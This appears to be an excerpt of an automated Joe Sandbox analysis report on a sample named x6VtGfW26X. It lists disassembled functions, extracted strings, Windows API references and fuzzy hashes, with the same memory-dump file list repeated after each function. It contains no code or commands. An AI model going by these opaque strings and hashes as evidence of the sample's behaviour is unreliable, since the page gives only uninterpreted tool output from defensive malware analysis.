Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: "0}$7x~$`*}
API String ID: 0-4246718527
Opcode ID: 23f8e4a537c1865d4b86cff61a3dee3897d27f572cdf9b182ab1da33b40fc564
Instruction ID: b0acf392ecce038216823853203a2a760e3cb651ae1ad2453f4a78391ff77285
Opcode Fuzzy Hash: 23f8e4a537c1865d4b86cff61a3dee3897d27f572cdf9b182ab1da33b40fc564
Instruction Fuzzy Hash: 6A7235B2A18201CFD718CF68DC817AEB7B2FF84310F09856CE9459B395E7389911CB91

Function 007B95A0 Relevance: 9.1, Strings: 7, Instructions: 320
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ec, xrefs: 007B97F7
0E8C58279CAE175520A4C476FD51BCB1, xrefs: 007B964D
fg, xrefs: 007B9913
T, xrefs: 007B9675
t{, xrefs: 007B97FF
m, xrefs: 007B9613
96, xrefs: 007B9867

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: 0E8C58279CAE175520A4C476FD51BCB1$96$ec$fg$m$t{$T
API String ID: 0-930948990
Opcode ID: 6dcb6d43adaa6f94e53f3e637eea1f2facc6b0d047bf91b09657135bb310932d
Instruction ID: 3d5f513f3be39470bdb6b7345257de977c7c5eb0e458d4e10e09c47aa4351bce
Opcode Fuzzy Hash: 6dcb6d43adaa6f94e53f3e637eea1f2facc6b0d047bf91b09657135bb310932d
Instruction Fuzzy Hash: 46A1E4B02083808BD714DF65C895AABBFE5EFC2318F14496DE1E28B392D738C509CB56

Function 007DBE8A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 007DC358

Strings

BVAI, xrefs: 007DC52A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: ea9cbbdc401c817d1f4bda8c2d4b11a5dd6168ab5a15d2cb04505befa33e7ea8
Instruction ID: 10c2a4e9fcd5305fd83185231c2f9ad9169f61ee2b7d1803bc0351f710af0e26
Opcode Fuzzy Hash: ea9cbbdc401c817d1f4bda8c2d4b11a5dd6168ab5a15d2cb04505befa33e7ea8
Instruction Fuzzy Hash: 7CC1267160C3918BC72ACF2984503ABBFE1AFDA304F18496ED4C9D7392D7398906CB56

Function 007DC26C Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 007DC358

Strings

BVAI, xrefs: 007DC52A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: 8713dbfb5a37f63f18dd26c68ce95171b1958bf502a42b2326497aa2e1a9438e
Instruction ID: 6aff5612a4cc80f4458e5ccb7c59b8084867efa95c71db809ce4528c836cb7e1
Opcode Fuzzy Hash: 8713dbfb5a37f63f18dd26c68ce95171b1958bf502a42b2326497aa2e1a9438e
Instruction Fuzzy Hash: CEA1047160C3818BC72A8F2984507BBBFE1AF9A304F18496ED4C997392D7398906CB56

Function 007DC282 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 007DC358

Strings

BVAI, xrefs: 007DC52A

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: BVAI
API String ID: 3960555810-2651495128
Opcode ID: 7c13657990b308339d9e6e9a0f7a1c7698b44028b55ed5181dae5573e2d6413b
Instruction ID: 5c87267c2120f2648435eda0290b6a855652b32e4046b87d4d35edd84cb06d0a
Opcode Fuzzy Hash: 7c13657990b308339d9e6e9a0f7a1c7698b44028b55ed5181dae5573e2d6413b
Instruction Fuzzy Hash: A2A1F47160C3C18BC7268F2984507BBBFE1AF9A304F18496ED4C9D7392D7398906CB56

Function 007F0480 Relevance: 2.8, Strings: 2, Instructions: 345COMMON

Download Yara Rule

Strings

=:;8, xrefs: 007F04F4
, xrefs: 007F0534, 007F0570, 007F0608

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID: =:;8$
API String ID: 2994545307-3594289699
Opcode ID: b239327eedcbc26b2a1bd79a12a4e58150824465470d9811463a6f4e923aad0d
Instruction ID: 645c3db47392672b279f1e9641e1fcdda61040442332cb78fda197f3b791b88a
Opcode Fuzzy Hash: b239327eedcbc26b2a1bd79a12a4e58150824465470d9811463a6f4e923aad0d
Instruction Fuzzy Hash: 7BA14476B083148BDB249E64DC8067BB7E2ABD5310F19C53CDA8697346DA78EC05CBD2

Function 007D6000 Relevance: 2.8, Strings: 2, Instructions: 286COMMON

Download Yara Rule

Strings

Zysf, xrefs: 007D62C0
{ts|, xrefs: 007D62A6

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID: Zysf${ts|
API String ID: 2994545307-929106683
Opcode ID: a25f2a83f1248426505a6c8d2074ffc486e7d9443ff9f0820ec7aa5993a231ee
Instruction ID: cc2b8d784c64ce59ccdf0fd5e1ce1d31e75fe29fad7b65f31fdb2f7e78fac279
Opcode Fuzzy Hash: a25f2a83f1248426505a6c8d2074ffc486e7d9443ff9f0820ec7aa5993a231ee
Instruction Fuzzy Hash: A48128B1A083019BD724DE25DC81B3B77B6EBD5314F18C53EE58697392E63DAC04C292

Function 007BD6F8 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

0E8C58279CAE175520A4C476FD51BCB1, xrefs: 007BD883
]b, xrefs: 007BD787

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: 0E8C58279CAE175520A4C476FD51BCB1$]b
API String ID: 0-2759662118
Opcode ID: 6d85c81f6397d77a2e110971b25678f75bd5803d8e56d4aa6340c57ca0974431
Instruction ID: a36e9cc274df799937c202541e240389274e469f1a95cf11049c9f99602a07eb
Opcode Fuzzy Hash: 6d85c81f6397d77a2e110971b25678f75bd5803d8e56d4aa6340c57ca0974431
Instruction Fuzzy Hash: 11617A76E153908BD320CB25CC517EFBBD2ABD5311F19C92CD8C9E7245DB3859018782

Function 007BC22D Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

yJ[L, xrefs: 007BC26F
uJ[L, xrefs: 007BC23E

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: uJ[L$yJ[L
API String ID: 0-3296124075
Opcode ID: a4a86d7b52cb3e14db97b2db7578f3efe0a8f0f8a5aefe0835618a64f114a3ca
Instruction ID: f53fb591ea3304d65121c93595bf8a8239585c7db0c88596875c0d5a66c4cfbc
Opcode Fuzzy Hash: a4a86d7b52cb3e14db97b2db7578f3efe0a8f0f8a5aefe0835618a64f114a3ca
Instruction Fuzzy Hash: D83105B2A405019FD71DCF28CC627BE7BE2FB99310F69806DD252E7790DB38A9018704

Function 007B8640 Relevance: 1.7, APIs: 1, Instructions: 227COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 007B88E8

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caefa875ca992832038e93bfe6407e32c4b141810255651ece52676ca7e1bb1d
Instruction ID: cc76ee64793fa18f75cc5071508ecacda813e63abb0c7e4844629a6c1c041461
Opcode Fuzzy Hash: caefa875ca992832038e93bfe6407e32c4b141810255651ece52676ca7e1bb1d
Instruction Fuzzy Hash: C8613977B543094BD718AEACCC8639AB7C69B84310F1E853CA598DB392ED7C9C04D786

Function 007ED910 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(007F09B8,?,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 007ED93E

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 007EBCE0 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

yPC, xrefs: 007EBDAD

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID: yPC
API String ID: 2994545307-621879255
Opcode ID: 73404d408cfb2530c69f5fd7543a48a76e30338933f959677422eabbc76795cf
Instruction ID: 9b70f5faec3cef39a2304a66eed0210d853b621c7763104f374c174eceaa0d0d
Opcode Fuzzy Hash: 73404d408cfb2530c69f5fd7543a48a76e30338933f959677422eabbc76795cf
Instruction Fuzzy Hash: C9617672A092549BD7249A26DC8177BBBA3EBC8310F2E843CD9855B346E6399C0187C1

Function 007EDCE9 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

D]+\, xrefs: 007EDD60

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: D]+\
API String ID: 0-1174097187
Opcode ID: cb1f40420c4832113f96a79a381cc981f6b709cf62ee3c904e0d25967a432112
Instruction ID: 78cd87ca383f9d71a6125ae1c8c86148aa8c1f1ed2a447a3b2641d738238c677
Opcode Fuzzy Hash: cb1f40420c4832113f96a79a381cc981f6b709cf62ee3c904e0d25967a432112
Instruction Fuzzy Hash: 9A316BB47496908BE3188E92DCD073A739AF7DE300F28983DC5851B286C23C9C41C79B

Function 007E84F0 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc759e0255c5dffba4064865cc7b431a7c7f1d29af8a6f79436f3393c9c42ff1
Instruction ID: 523d65d93bfcbad899911a2bd1b2ee2dc01c51346a147cea74500dd2884d66db
Opcode Fuzzy Hash: dc759e0255c5dffba4064865cc7b431a7c7f1d29af8a6f79436f3393c9c42ff1
